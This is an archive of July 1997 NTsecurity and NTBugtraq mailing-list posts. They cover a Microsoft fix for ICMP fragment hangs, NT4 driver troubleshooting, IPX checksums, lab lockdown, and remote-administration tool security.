>Sender: Windows NT BugTraq Mailing List 
>From: "Donald M. Barnard Jr." 
>Subject: ICMP Fix Posted
>To: NTBUGTRAQ@RC.ON.CA
>
>DOCUMENT:Q154174
>PRODUCT: Microsoft Windows NT and Windows 95
>TITLE: Windows NT and Win95 may hang when they receive invalid ICMP
> datagram fragments
>PROD/VER:4.00
>OPER/SYS:WINDOWS
>KEYWORDS:kbbug4.00 kbfile kbfix4.00 kbfix4.00.sp4 NTSrvWkst nttcp ssping
>
>--------------------------------------------------------------------------
>The information in this article applies to:
>
> - Microsoft Windows NT Workstation version 4.0
> - Microsoft Windows NT Server version 4.0
> - Microsoft Windows 95
>
>--------------------------------------------------------------------------
>
>SYMPTOMS
>========
>
>Windows NT and Windows 95 systems may hang when they receive corrupted ICMP
>datagram fragments from a client.
>
>
>RESOLUTION
>==========
>
>Microsoft has updated the TCP/IP protocol stack to correct the problem.
>Instructions for installing it are available from Microsoft support channels,
>or directly from the Internet locations below.
>
>Windows NT 4.0 SP3
>------------------
>
>NOTE: Service pack 3 must be applied to Windows NT 4.0 prior to applying
>this fix.
>
>This hotfix has been posted to the following Internet location:
>
> ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
> hotfixes-postSP3/icmp-fix
>
>
>Windows 95
>-----------
>
>This issue is resolved by the following updated file for Windows 95 and OSR2:
>
> VIP.386 version 4.0.956 (6/30/97) and later
>
>This file is included in the self-extracting VIPUPD.EXE file.
>
>To install this update, follow these steps:
>
>1. Download the VIPUPD.EXE file from the online service listed below to
> an empty folder.
>
>2. In My Computer or Windows Explorer, double-click the VIPUPD.EXE file
> you downloaded in step 1.
>
>3. Follow the instructions on the screen.
>
>The following file(s) are available for download from the Microsoft
>Software Library:
>
> ~ VIPUPD.EXE
>
>For more information about downloading files from the Microsoft Software
>Library, please see the following article in the Microsoft Knowledge Base:
>
> ARTICLE-ID: Q119591
> TITLE : How to Obtain Microsoft Support Files from Online Services
>
>
>The following files are installed by VIPUPD.EXE:
>
> File name Version Date/Time Size Destination folder
> ----------------------------------------------------------------------
> VIP.386 4.00.956 6/30/97 9:54am 171,672 Windows\System
>
>
>STATUS
>======
>
>Microsoft has confirmed this to be a problem in Windows NT version 4.0
>and Windows 95. A supported fix is now available, but has not been fully
>regression-tested and should be applied only to systems experiencing this
>specific problem. Unless you are severely impacted by this specific
>problem,Microsoft recommends that you wait for the next Service Pack that
>contains this fix. Contact Microsoft Technical Support for more information.
>
>Additional query words: prodnt 4.00 win95
>
>============================================================================
>
>THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
>PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS
>ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
>OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO
>EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
>ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
>CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
>MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
>POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
>OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
>SO THE FOREGOING LIMITATION MAY NOT APPLY.
>
Hello, anybody on this list who knows how to get in the server (NT4) after
installing twice the capi2.0 driver (for a isdncard).

What has happened:

Yesterday i installed NT4 server.
I installed the AVM A1 isdn card driver for NT,
the CAPI 2.0 driver.
I installed the NDIS WAN driver (this gives me a network card).
I dialed in and connected to ISP. (no problems).
I wanted to bundle my 2 B channels, choose some options in dialout, but it
did not work.
I finaly tryed to install a second NDISWAN driver and hope that will give me
a second available networkcard so that i could 'multiple line' them.

THIS DID NOT WORK, AND IT RESULT IN A BROKEN WINDOWS NT SERVER!

If i try to logon the server, after a restart (cold or warm boot)
the logon dialog is shown, but before i typed the password my screen
is frozen.

Can anyone help me, i don't want to install NT Server again.

Thanx for reading.

Wouter. 


Hi,
may be this is the wrong place to ask, but nevertheless I hope somebody in
here can help me (or at least tell me, that I´m right).

For some reasons - to be honest, it´s because some important people in our
company want it - we use IPX checksums for the communication between our
Windows 3.1/DOS clients and the NetWare 4.1server. Now, as we want to
update our clients to Windows NT 4.0 with the IntraNetWare client, this
feature should be used again.
Our problem is:
- If we configure the Netware servers to force the clients to use IPX
checksums, the NT clients cannot login. They can *see* the server, but no
login is possible.

IMHO this seems to be a result of the implementation of the NWLink protocol
in Windows NT. They simple do not use this feature.
First of all I did not find any hint that there is any parameter within the
configuration - neither in Windows NT nor in the IntraNetWare client - that
points to a IPX checksum. And second: why should Mircosoft implement all
the features of IPX if some of them are enough to connect to those
NetWare-Servers?

Any suggestions or comments are welcome ...
---
Susanne Kochwagner ESG
Elektroniksystem- und Logistik GmbH
skochwag@esg-gmbh.de Einsteinstr. 174
Tel: +49 (0)89 9216-2834, Fax: -2903 D-81675 Muenchen
http://www.esg-gmbh.de


> From: Jan Nelson [SMTP:jnelson@narrows.com]
> To: 'ntsecurity@iss.net'
> Date: 97-07-01 19:31:21
> Subject: [NTSEC] Purpose of this list
>
> I am on a number of lists and filter through quite a bit of mail daily. I appreciate those lists that can self moderate and maintain a high level of content specific to the intent of the list. This list is very valuable to me in that aspect, however, I am growing weary of the wasted bandwidth regarding individual opinions of the culpability of Microsoft to perfect a product prior to shipment.
> 
> Please keep your knowledge and expertise flowing, but , hey, enough! This list works (for me) best when the Q&A flows re NT Security issues, not "M$" bashing. Let's move on.
> 
> Jan Nelson


Ya... but Microsoft.... :)
______
Carl Landry (landryc@total.net)

 Équipe TotalNet Team

http://www.total.net - support@total.net
______
EOT
Hi folks,

I manage a network within a college, comprising of a large number of NT
Servers, and Win 3.1/95 clients. We have decided to segregate the
network into 2 sections, a student section and a staff section, for
security purposes.

Which TCP and/or UDP ports do we have to let pass through the router to
allow staff to access (e.g. mount directories and printers) servers on
the student side ? We are using TCP/IP as the only protocol (with NBT).

Help much appreciated,

Sam Simpson
Network Administrator
(ssimpson@hertreg.ac.uk)

Is your registry backed up recently? Do you have a recent backup before this 
all happened? Did you try the last known good? Sounds like a irq conflict to 
me? Big time? Can you break out of the locked screen by ctrl-alt-delete?
dan evensen
http://www.geocities.com/siliconvalley/lakes/5712

----------
From: owner-ntsecurity@iss.net on behalf of w.wessels@cc.ruu.nl
Sent: Wednesday, July 02, 1997 3:18 AM
To: ntsecurity@iss.net
Subject: [NTSEC] NT4 server not starting after installing 2 times CAPI2.0

Hello, anybody on this list who knows how to get in the server (NT4) after
installing twice the capi2.0 driver (for a isdncard).

What has happened:

Yesterday i installed NT4 server.
I installed the AVM A1 isdn card driver for NT,
the CAPI 2.0 driver.
I installed the NDIS WAN driver (this gives me a network card).
I dialed in and connected to ISP. (no problems).
I wanted to bundle my 2 B channels, choose some options in dialout, but it
did not work.
I finaly tryed to install a second NDISWAN driver and hope that will give me
a second available networkcard so that i could 'multiple line' them.

THIS DID NOT WORK, AND IT RESULT IN A BROKEN WINDOWS NT SERVER!

If i try to logon the server, after a restart (cold or warm boot)
the logon dialog is shown, but before i typed the password my screen
is frozen.

Can anyone help me, i don't want to install NT Server again.

Thanx for reading.

Wouter. 


Agreed!!!
===============================
Liam H. Colvin
random@ais.net

----
From: Jan Nelson 
To: 'ntsecurity@iss.net'
Date: July 01, 1997 6:35 PM
Subject: [NTSEC] Purpose of this list

I am on a number of lists and filter through quite a bit of mail daily. I
appreciate those lists that can self moderate and maintain a high level of
content specific to the intent of the list. This list is very valuable to
me in that aspect, however, I am growing weary of the wasted bandwidth
regarding individual opinions of the culpability of Microsoft to perfect a
product prior to shipment.

Please keep your knowledge and expertise flowing, but , hey, enough! This
list works (for me) best when the Q&A flows re NT Security issues, not "M$"
bashing. Let's move on.

Jan Nelson




Try removing any unnessasary cards from the system. This would include NIC's, the ISDN, card, modem's, etc. The drivers will fail on boot but you won't have any conflicts. 

PS. To another reply. I believe that if you get to the control+alt+del screen the "Last Known Good" doesn't work.


<^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><>

Christopher Vaughn (chrisv@e-city.net)
2271 Administration Drive
St. Louis, Mo 63146
(314) 567-0629 ext 101 / fax (314) 567-3395

<^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><>


-----Original Message-----
From: w.wessels@cc.ruu.nl [SMTP:w.wessels@cc.ruu.nl]
Sent: Wednesday, July 02, 1997 2:19 AM
To: ntsecurity@iss.net
Subject: [NTSEC] NT4 server not starting after installing 2 times CAPI2.0

Hello, anybody on this list who knows how to get in the server (NT4) after
installing twice the capi2.0 driver (for a isdncard).

What has happened:

Yesterday i installed NT4 server.
I installed the AVM A1 isdn card driver for NT,
the CAPI 2.0 driver.
I installed the NDIS WAN driver (this gives me a network card).
I dialed in and connected to ISP. (no problems).
I wanted to bundle my 2 B channels, choose some options in dialout, but it
did not work.
I finaly tryed to install a second NDISWAN driver and hope that will give me
a second available networkcard so that i could 'multiple line' them.

THIS DID NOT WORK, AND IT RESULT IN A BROKEN WINDOWS NT SERVER!

If i try to logon the server, after a restart (cold or warm boot)
the logon dialog is shown, but before i typed the password my screen
is frozen.

Can anyone help me, i don't want to install NT Server again.

Thanx for reading.

Wouter. 

On Tue, 1 Jul 1997, Carl Landry wrote:

> > Please keep your knowledge and expertise flowing, but , hey, enough! This list works (for me) best when the Q&A flows re NT Security issues, not "M$" bashing. Let's move on.
> > 
> > Jan Nelson
> 
> 
> Ya... but Microsoft.... :)

One thing I'd like to point out is that the more complex and convoluted
an OS is, the harder it is to secure. Neither NT nor Unix would be described
as simple and streamlined. From a security point of view it is in everyones
best interest to encourage vendors to produce products that are easy to
administer and properly configured when they arrive. 

Note that I do not believe that hiding the complexity under a layer of 
abstraction is a good idea either. This is nearly impossible to do. 

Whether it is feasable to do this right or not is an open question.

-
Mike Miller
mke@llnl.gov "email, the ultimate push technology."
speaking for myself.


PS. To another reply. I believe that if you get to the control+alt+del =
screen the "Last Known Good" doesn't work This I know perfectly well but was 
giving the gentleman options to try. I solve any technical problems by 
troubleshooting and trying things one at a time until the problems are solved. 
This is what is done in a troubleshooting flow chart. I learned this well as 
System Administrator of seven NT servers at Ft.Knox 
Dan Evensen
----------
From: owner-ntsecurity@iss.net on behalf of Christopher Vaughn
Sent: Wednesday, July 02, 1997 10:36 AM
To: ntsecurity@iss.net
Subject: RE: [NTSEC] NT4 server not starting after installing 2 times CAPI2.0

Try removing any unnessasary cards from the system. This would include =
NIC's, the ISDN, card, modem's, etc. The drivers will fail on boot but =
you won't have any conflicts.=20

PS. To another reply. I believe that if you get to the control+alt+del =
screen the "Last Known Good" doesn't work.


<^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^>=
<><^><><^><><^><>

Christopher Vaughn (chrisv@e-city.net)
2271 Administration Drive
St. Louis, Mo 63146
(314) 567-0629 ext 101 / fax (314) 567-3395

<^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^>=
<><^><><^><><^><>


-----Original Message-----
From: w.wessels@cc.ruu.nl [SMTP:w.wessels@cc.ruu.nl]
Sent: Wednesday, July 02, 1997 2:19 AM
To: ntsecurity@iss.net
Subject: [NTSEC] NT4 server not starting after installing 2 times =
CAPI2.0

Hello, anybody on this list who knows how to get in the server (NT4) =
after
installing twice the capi2.0 driver (for a isdncard).

What has happened:

Yesterday i installed NT4 server.
I installed the AVM A1 isdn card driver for NT,
the CAPI 2.0 driver.
I installed the NDIS WAN driver (this gives me a network card).
I dialed in and connected to ISP. (no problems).
I wanted to bundle my 2 B channels, choose some options in dialout, but =
it
did not work.
I finaly tryed to install a second NDISWAN driver and hope that will =
give me
a second available networkcard so that i could 'multiple line' them.

THIS DID NOT WORK, AND IT RESULT IN A BROKEN WINDOWS NT SERVER!

If i try to logon the server, after a restart (cold or warm boot)
the logon dialog is shown, but before i typed the password my screen
is frozen.

Can anyone help me, i don't want to install NT Server again.

Thanx for reading.

Wouter.=20


Dennis W. Mattison wrote:
> [original message rearranged somewhat]

> There are other intermittent problems
> with control panel, but the above is what I have seen constantly on a slew of
> new machines which I have been setting up. I thought my copy of the SP3 might
> be corrupt, so I downloaded it two more times off the network, and still had
> the problems even on new machines.

If you are having problems with new machines, then you should not really
suspect NT or SP3. Your problem is likely with the machine configuration.
Even if you did not have these problems with an older version of NT on 
an older version of the machine, the new NT could still not forgive a 
configuration problem the older version forgave.

> Reinstalling the operating system using the original disk seems to be the
> solution. I essentially have to run setup twice, the first time I get a
> failure during the copy process which states that the file riched32.dll is
> corrupt, even though I used a different WindowsNT Install CD each time. They
> all cannot be corrupt.

It is possible that you have a dirty CD and a dirty CD player (some smudges
on some CDs can cause problems). Clean your NT4.0 CD. It is more likely
though, that you are having SCSI problems. Some SCSI CD players and some 
SCSI tape drives (you should have both on your system) will not share a SCSI
bus with faster SCSI devices. Intermittent errors, bus timeouts, etc.
The event log might show them, but sometimes the devices will recover and
you won't get a timeout, just slow accesses. Your option is to get an older
(preferably still bus mastering) SCSI adapter for these devices. If your 
current system has two SCSI channels, put them on a channel by themselves and
force the channel to run at 10M/sec or 5M/sec. Neither device will need 
more bandwidth. If you can't do this, then you might be able to configure
your SCSI adapter so that it will only transfer 5/10M/sec (synchronous) to these 
devices only. Leaving the hard disk drives to run at their negotiated speeds.

> I know this is an old message, but I have been having problems recently with
> SP3, and since it appears Microsoft is requiring SP3 to be installed in order
> to install the PostSP3 fixes, I want to get the bigger picture. Can anyone
> with SP3 installed see if they can reproduce what I am seeing here...
> 
> I have quite a few WinNT 4.0 machines, all with NTFS formatted drives and 32 or
> 64 MB of memory. When SP3 is installed on the system (not installing OOB or
> any of the postSP3 fixes,) whenever I try to add a printer, I get the message
> "The system is out of resources, please quit all applications and try again.
> As far as I can tell, there isn't much else running by looking in Task Manager
> at the resources and running processes. But my problems don't stop there, the
> system acts erratic, causing some applications to choke. When I try to access
> the SCSI Adapters Control Panel Wizard, and then try to load a driver for a new
> SCSI card, I get the message "This function is not supported by this version of
> the operating system". When accessing "Add/Remove Programs", and then
> "WindowsNT Setup" I get an error box with the single letter
> "E" and a caption of "S", which continues to pop up when I close it until I go
> into task manager and nuke the process.

Keep in mind that you need to reapply the Service pack 3 whenever you add new
drivers to your system. This means that whenever NT asks for the CD, you will
be reapplying SP3 immediately thereafter.

I have not seen this on a server, but NT Workstation will load its printer
drivers directly from the server which owns the printer. It does not need 
the CD. I guess this could cause some compatability problems, haven't 
seen any though.

General debug procedure, though, is that you remove all unnecessary cards
from your system and install NT (this means your second SCSI card). If that 
works and is stable, then add cards and options until it fails. You might
also go into your machine's BIOS and set much more conservative memory 
access parameters and CPU parameters. NT insists that your hardware not
be flaky (buying bad memory is a good way to get a flaky machine).

-leonard
It is not until after you log on that the
HKEY_LOCAL_MACHINE\SYSTEM\Clone is copied to the
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet. LastKnownGood is one of the
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet00x keys, To determine which one
check the HKEY_LOCAL_MACHINE\SYSTEM\Select key.

Stan McCue
1.509.373.5552
Network Infrastructure Systems (NIS)
Lockheed Martin Services Inc.

> -----Original Message-----
> From: Christopher Vaughn [SMTP:chrisv@e-city.net]
> Sent: Wednesday, July 02, 1997 7:37 AM
> To: ntsecurity@iss.net
> Subject: RE: [NTSEC] NT4 server not starting after installing 2
> times CAPI2.0
> 
> Try removing any unnessasary cards from the system. This would include
> NIC's, the ISDN, card, modem's, etc. The drivers will fail on boot but
> you won't have any conflicts. 
> 
> PS. To another reply. I believe that if you get to the control+alt+del
> screen the "Last Known Good" doesn't work.
> 
> 
> <^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><>
> <^><><^><><^><><^><>
> 
> Christopher Vaughn (chrisv@e-city.net)
> 2271 Administration Drive
> St. Louis, Mo 63146
> (314) 567-0629 ext 101 / fax (314) 567-3395
> 
> <^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><>
> <^><><^><><^><><^><>
> 
> 
> -----Original Message-----
> From: w.wessels@cc.ruu.nl [SMTP:w.wessels@cc.ruu.nl]
> Sent: Wednesday, July 02, 1997 2:19 AM
> To: ntsecurity@iss.net
> Subject: [NTSEC] NT4 server not starting after installing 2 times
> CAPI2.0
> 
> Hello, anybody on this list who knows how to get in the server (NT4)
> after
> installing twice the capi2.0 driver (for a isdncard).
> 
> What has happened:
> 
> Yesterday i installed NT4 server.
> I installed the AVM A1 isdn card driver for NT,
> the CAPI 2.0 driver.
> I installed the NDIS WAN driver (this gives me a network card).
> I dialed in and connected to ISP. (no problems).
> I wanted to bundle my 2 B channels, choose some options in dialout,
> but it
> did not work.
> I finaly tryed to install a second NDISWAN driver and hope that will
> give me
> a second available networkcard so that i could 'multiple line' them.
> 
> THIS DID NOT WORK, AND IT RESULT IN A BROKEN WINDOWS NT SERVER!
> 
> If i try to logon the server, after a restart (cold or warm boot)
> the logon dialog is shown, but before i typed the password my screen
> is frozen.
> 
> Can anyone help me, i don't want to install NT Server again.
> 
> Thanx for reading.
> 
> Wouter. 
Jason,

> Anyway to remotely make ERDs? Would be nice to have an app that would
> make them for remote servers.

have a look at www.omna.com... Andy Baron has a solution for this kind of
problems.

kr=


 \\\___///
 \\ - - //
 ( @ @ )
 +---------------oOOo-(_)-oOOo-------------+
 | kris carlier - carlier@iguana.be |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion |
 | SMS: +32-75-61.43.05 |
 +------------------------Oooo-------------+
 oooO ( )
 ( ) ) /
 \ ( (_/
 \_)



PS. To another reply. I believe that if you get to the control+alt+del =
screen the "Last Known Good" doesn't work 

This I know perfectly well but was giving the gentleman options to try.If the 
logon was not succesful the last known is still good it is not overwritten 
until logon I solve any technical problems by troubleshooting and trying 
things one at a time until the problems are solved. This is what is done in a 
troubleshooting flow chart. I learned this well as System Administrator of 
seven NT servers at Ft.Knox 
Dan Evensen
----------
From: owner-ntsecurity@iss.net on behalf of Christopher Vaughn
Sent: Wednesday, July 02, 1997 10:36 AM
To: ntsecurity@iss.net
Subject: RE: [NTSEC] NT4 server not starting after installing 2 times CAPI2.0

Try removing any unnessasary cards from the system. This would include =
NIC's, the ISDN, card, modem's, etc. The drivers will fail on boot but =
you won't have any conflicts.=20

PS. To another reply. I believe that if you get to the control+alt+del =
screen the "Last Known Good" doesn't work.


<^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^>=
<><^><><^><><^><>

Christopher Vaughn (chrisv@e-city.net)
2271 Administration Drive
St. Louis, Mo 63146
(314) 567-0629 ext 101 / fax (314) 567-3395

<^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^><><^>=
<><^><><^><><^><>


-----Original Message-----
From: w.wessels@cc.ruu.nl [SMTP:w.wessels@cc.ruu.nl]
Sent: Wednesday, July 02, 1997 2:19 AM
To: ntsecurity@iss.net
Subject: [NTSEC] NT4 server not starting after installing 2 times =
CAPI2.0

Hello, anybody on this list who knows how to get in the server (NT4) =
after
installing twice the capi2.0 driver (for a isdncard).

What has happened:

Yesterday i installed NT4 server.
I installed the AVM A1 isdn card driver for NT,
the CAPI 2.0 driver.
I installed the NDIS WAN driver (this gives me a network card).
I dialed in and connected to ISP. (no problems).
I wanted to bundle my 2 B channels, choose some options in dialout, but =
it
did not work.
I finaly tryed to install a second NDISWAN driver and hope that will =
give me
a second available networkcard so that i could 'multiple line' them.

THIS DID NOT WORK, AND IT RESULT IN A BROKEN WINDOWS NT SERVER!

If i try to logon the server, after a restart (cold or warm boot)
the logon dialog is shown, but before i typed the password my screen
is frozen.

Can anyone help me, i don't want to install NT Server again.

Thanx for reading.

Wouter.=20



 
Check out the Microsoft Zero Administration Kit for NT.

http://www.microsoft.com/windows/zak/

I don't see a huge difference compared to running system policies, but Microsoft
claims "The Zero Administration Kit...which you can see in our online 
demonstration, limits end-user access to system files and unauthorized 
applications." The demos are not very technical and most of the docs are 
marketing pitches for reducing "cost of ownership".

Davi

davi-ottenheimer@uiowa.edu

______________________________ Reply Separator _________________________________
Subject: [NTSEC] Student lab security?
Author: "Mike Garvey" at internet
Date: 7/2/97 8:45 AM


Delivered-To: nt-out-link@iss.net
Delivered-To: nt-out@iss.net
X-Sender: mgarvey@209.0.25.2
X-Mailer: Windows Eudora Pro Version 3.0.1 (32) 
Sender: owner-ntsecurity@iss.net
Precedence: bulk
Reply-To: "Mike Garvey" 
X-Loop: ntsecurity
X-Comment: TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net 
X-Comment: DO NOT send subscribe/unsubscribe messages to ntsecurity@iss.net 
--------------------------------------------------------------------------------
I was wondering if there are any publications (on-line preferred, other
sources acceptable) pertaining to issues, guidelines, and configuration of 
Windows NT Workstation security in a student lab environment. I'm 
particularly interested in protecting the file system and the registry from 
casual damage. I understand it's probably not practical to disable the use 
of the Browser and Explorer (as one was able to disable File Manager and 
MS-DOS Prompt in WFW) but I'd like to be aware of any options there, just 
in case I have to consider really locking things down. Any help would be 
appreciated. Additionally, if someone asks me how to restrict users to ONLY 
running installed applications, I'd like to be prepared.
 
Thanks,
 
Mike
Dennis W. Mattison wrote:
> [original message rearranged somewhat]

> There are other intermittent problems
> with control panel, but the above is what I have seen constantly on a slew of
> new machines which I have been setting up. I thought my copy of the SP3 might
> be corrupt, so I downloaded it two more times off the network, and still had
> the problems even on new machines.

If you are having problems with new machines, then you should not really
suspect NT or SP3. Your problem is likely with the machine configuration.
Even if you did not have these problems with an older version of NT on 
an older version of the machine, the new NT could still not forgive a 
configuration problem the older version forgave.

> Reinstalling the operating system using the original disk seems to be the
> solution. I essentially have to run setup twice, the first time I get a
> failure during the copy process which states that the file riched32.dll is
> corrupt, even though I used a different WindowsNT Install CD each time. They
> all cannot be corrupt.

It is possible that you have a dirty CD and a dirty CD player (some smudges
on some CDs can cause problems). Clean your NT4.0 CD. It is more likely
though, that you are having SCSI problems. Some SCSI CD players and some 
SCSI tape drives (you should have both on your system) will not share a SCSI
bus with faster SCSI devices. Intermittent errors, bus timeouts, etc.
The event log might show them, but sometimes the devices will recover and
you won't get a timeout, just slow accesses. Your option is to get an older
(preferably still bus mastering) SCSI adapter for these devices. If your 
current system has two SCSI channels, put them on a channel by themselves and
force the channel to run at 10M/sec or 5M/sec. Neither device will need 
more bandwidth. If you can't do this, then you might be able to configure
your SCSI adapter so that it will only transfer 5/10M/sec (synchronous) to these 
devices only. Leaving the hard disk drives to run at their negotiated speeds.

> I know this is an old message, but I have been having problems recently with
> SP3, and since it appears Microsoft is requiring SP3 to be installed in order
> to install the PostSP3 fixes, I want to get the bigger picture. Can anyone
> with SP3 installed see if they can reproduce what I am seeing here...
> 
> I have quite a few WinNT 4.0 machines, all with NTFS formatted drives and 32 or
> 64 MB of memory. When SP3 is installed on the system (not installing OOB or
> any of the postSP3 fixes,) whenever I try to add a printer, I get the message
> "The system is out of resources, please quit all applications and try again.
> As far as I can tell, there isn't much else running by looking in Task Manager
> at the resources and running processes. But my problems don't stop there, the
> system acts erratic, causing some applications to choke. When I try to access
> the SCSI Adapters Control Panel Wizard, and then try to load a driver for a new
> SCSI card, I get the message "This function is not supported by this version of
> the operating system". When accessing "Add/Remove Programs", and then
> "WindowsNT Setup" I get an error box with the single letter
> "E" and a caption of "S", which continues to pop up when I close it until I go
> into task manager and nuke the process.

Keep in mind that you need to reapply the Service pack 3 whenever you add new
drivers to your system. This means that whenever NT asks for the CD, you will
be reapplying SP3 immediately thereafter.

I have not seen this on a server, but NT Workstation will load its printer
drivers directly from the server which owns the printer. It does not need 
the CD. I guess this could cause some compatability problems, haven't 
seen any though.

General debug procedure, though, is that you remove all unnecessary cards
from your system and install NT (this means your second SCSI card). If that 
works and is stable, then add cards and options until it fails. You might
also go into your machine's BIOS and set much more conservative memory 
access parameters and CPU parameters. NT insists that your hardware not
be flaky (buying bad memory is a good way to get a flaky machine).

-leonard
I was wondering if there are any publications (on-line preferred, other
sources acceptable) pertaining to issues, guidelines, and configuration of
Windows NT Workstation security in a student lab environment. I'm
particularly interested in protecting the file system and the registry from
casual damage. I understand it's probably not practical to disable the use
of the Browser and Explorer (as one was able to disable File Manager and
MS-DOS Prompt in WFW) but I'd like to be aware of any options there, just
in case I have to consider really locking things down. Any help would be
appreciated. Additionally, if someone asks me how to restrict users to ONLY
running installed applications, I'd like to be prepared.

Thanks,

Mike
At 07:54 6/12/97 -0400, Rick Bertoncin wrote:
>I would definitely say, *do not* use this product as a external product.
As soon as you let a session attach to your workstation the external user
has your rights on your box. We are however, looking at this product to do
some limited remote administration (i.e. Task Mgr.), the price is right
for the product. 

I'd second that - even if it is set up to have the same rights as the
external user, default file permissions are WAY too loose for this to be
something secure. I'd use it internally with care and definately NOT
externally.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 04:10 7/1/97 -0400, you wrote:
>At 06:24 PM 6/30/97 -0400, you wrote:

>>Just take it with a grain of salt - Netscape did the same thing when a
>>fairly ugly bug was found in their browser, and other companies do it, too.
 
>I actually think that's a little overly generous. If you follow the
>vendor-supplied security advisories for the major Unix vendors, the story
>is considerably different. They're obviously much more comfortable in an
>enterprise setting. For instance, paging back through some of the more
>recent security advisories, I came across one from Sun (this is only one
>that is illustrative. All the other vendors who cross Bugtraq tend to do
>similar things):

Yes, but what we see from MS on ntsecurity and NTBUGTRAQ are quite different
things than what they post on their web site as the "official" explanation.
I think it is the same for CERT and other's web sites - CERT is meant for a
highly technical audience and those advisories are written by engineers, not
marketing people.

At any rate, I think I'm going to drop this one here - it is largely a
matter of opinion, and has little or nothing to do with keeping the OS
secure. Actually maintaining NT's security is different than whether their
marketing people have the right attitude (at least according to us security
geeks).

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 22:02 6/30/97 -0700, Jiva DeVoe wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I can tell you guys that I've definitely seen this thing work, or something
>that was claimed to be from this code. I've also seen it *not* work as
>well. It seems to require several shots at the machine, perhaps up to 5-10
>shots. And I've seen exactly that kill a machine. When I've seen it not
>work, it seemed like not all the packets got to the target. I wonder if
>that's why you guys aren't seeing it. You should see, I think, packets
>continuing until the offset reaches just > 64k.

The problem here is that there are clearly 2 of these out there - you can
send a bunch of PODs at someone, and sometimes they freeze.

Or you can send just 3 packets or so and freeze them up solid. This is what
that web site is doing, and I haven't got it quite sorted out yet.

OTOH, the fix _does_ seem to work.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

 For those of you compiling lists of interesting files to put
 ACL's on for the purpose of hardening your system, I suggest
 downloading the lastest Zero Administration Windows Kit from
 Micrsoft. The documentation goes into extensive detail about
 which files need which permissions.

 As an aside, the the NT Resource Kit recommends using a FAT
 file system for the boot and system partitions. However, the
 ZAW kit won't work on such a file system choice securely.
 Additionally, there are a number of directories in /winnt
 where "everyone:c" is stamped. This apparently allows me to
 remove a dll and replace it with my own (me being "everyone").

 Not sure this is a good idea.

 Ed

-- 
Ed Bradford
NT Architecture M/S 9170
Software Solutions Div. Integrated Solutions Architecture
egb@austin.ibm.com 11400 Burnet Rd
Phone: T/L 678-1421 Austin,Tx, 78758
Real Phone 512-838-1421 FAX 512-838-2212

May I suggest Carbon Copy. Havent used my selft but people here use it
heavily and they love it. Only think I dislike about it is that is uses
its own password database and it transmists the passwords on the clear
over the write (I think). So this is a lan-to-lan or dialup-to-lan on only
product. Comes in handy when you dont want to get up and walk half a mile
the the server two buildings away.

On Wed, 2 Jul 1997, David LeBlanc wrote:

> Date: Wed, 02 Jul 1997 19:07:13 -0400
> From: David LeBlanc 
> To: Rick Bertoncin 
> Cc: "ntsecurity@iss.net" 
> Subject: RE: [NTSEC] re: NetMeeting
> 
> At 07:54 6/12/97 -0400, Rick Bertoncin wrote:
> >I would definitely say, *do not* use this product as a external product.
> As soon as you let a session attach to your workstation the external user
> has your rights on your box. We are however, looking at this product to do
> some limited remote administration (i.e. Task Mgr.), the price is right
> for the product. 
> 
> I'd second that - even if it is set up to have the same rights as the
> external user, default file permissions are WAY too loose for this to be
> something secure. I'd use it internally with care and definately NOT
> externally.
> 
> -----------------------------------------------------------
> David LeBlanc | Voice: (770)395-0150 x138
> Internet Security Systems, Inc. | Fax: (404)395-1972
> 41 Perimeter Center East | E-Mail: dleblanc@iss.net 
> Suite 660 | www: http://www.iss.net/
> Atlanta, GA 30328 |
> 

Aleph One / aleph1@dfw.net
http://underground.org/
KeyID 1024/948FD6B5 
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 

